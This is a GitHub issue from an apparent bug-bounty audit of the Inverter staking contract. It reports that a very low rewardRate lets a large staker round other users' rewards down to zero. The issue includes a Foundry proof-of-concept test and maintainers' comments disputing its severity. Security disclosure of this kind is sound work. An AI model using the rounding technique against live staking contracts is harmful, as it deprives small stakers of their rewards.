hats-finance / Inverter-Network-0xe47e52c4fea05e555920f1dcdcc6fb8eca103eeb

Fork of the Inverter Smart Contracts Repository
GNU Lesser General Public License v3.0
0 stars 3 forks source link

LM_PC_Staking_v1.sol - Whales can round down the rewards of other users, so they don't claim anything #122

Open hats-bug-reporter[bot] opened 5 months ago

hats-bug-reporter[bot] commented 5 months ago

Github username: -- Twitter username: @EgisSec Submission hash (on-chain): 0xdf6a253506a8c7c45b7878b9e21b3fcf974b6886ec8318b3d9ba37890278bd8e Severity: medium

Description: Description\ rewardRate represents how much tokens are distributed per second.

The rewardRate can be anything, including very small numbers. This will happen if the reward token is a low decimal token or if duration is very large (distributing rewards for years).

This introduces a problem, whales can weaponize the low rewardRate to completely round down other user rewards.

Note that the PoC showcases a very simplified scenario. The issue can occur in many different ways.

Attack Scenario\ Example PoC bellow.

Attachments

  1. Proof of Concept (PoC) File

The PoC showcases distributing 1000e2 [GUSD]() tokens over ~1.15 days, as stated above this issue can crop up in other ways as well.

function testWhalesCanAbuseRewardRate() public {
        address alice = address(1);
        address bob = address(2);

        stakingManager.setRewards(1000e2, 10_000);

        // Fund orchestrator
        _token.mint(address(_fundingManager), 1000e2);

        uint aliceStake = 1_000_000e18;

        stakingToken.mint(alice, aliceStake);

        vm.prank(alice);
        stakingToken.approve(address(stakingManager), aliceStake);

        vm.prank(alice);
        stakingManager.stake(aliceStake);

        uint bobStake = 10e18;

        stakingToken.mint(bob, bobStake);

        vm.prank(bob);
        stakingToken.approve(address(stakingManager), bobStake);

        vm.prank(bob);
        stakingManager.stake(bobStake);

        // Warp until the duration passed
        vm.warp(10_001);

        // Bob doesn't have any rewards
        vm.expectRevert();
        vm.prank(bob);
        stakingManager.claimRewards();

        vm.prank(alice);
        stakingManager.claimRewards();
    }
  1. Revised Code File (Optional)

One way to fix this is to enforce some sort of minimum rewardRate and limit what tokens can be used.

PlamenTSV commented 5 months ago

Due to it being a singular stable token and the condition are very specific to allow such rounding down and the incentive for the attacker is extremely low due to those same conditions: Low

@0xmahdirostami

FHieser commented 5 months ago

The rewards are based on a percentage of total funds that you provide. If you provide nearly 100% ( or 0% on the other side) then you get the respective amount. I dont think this is part of the design and there is also no way to prevent this. How would a minimum rewardRate solve this?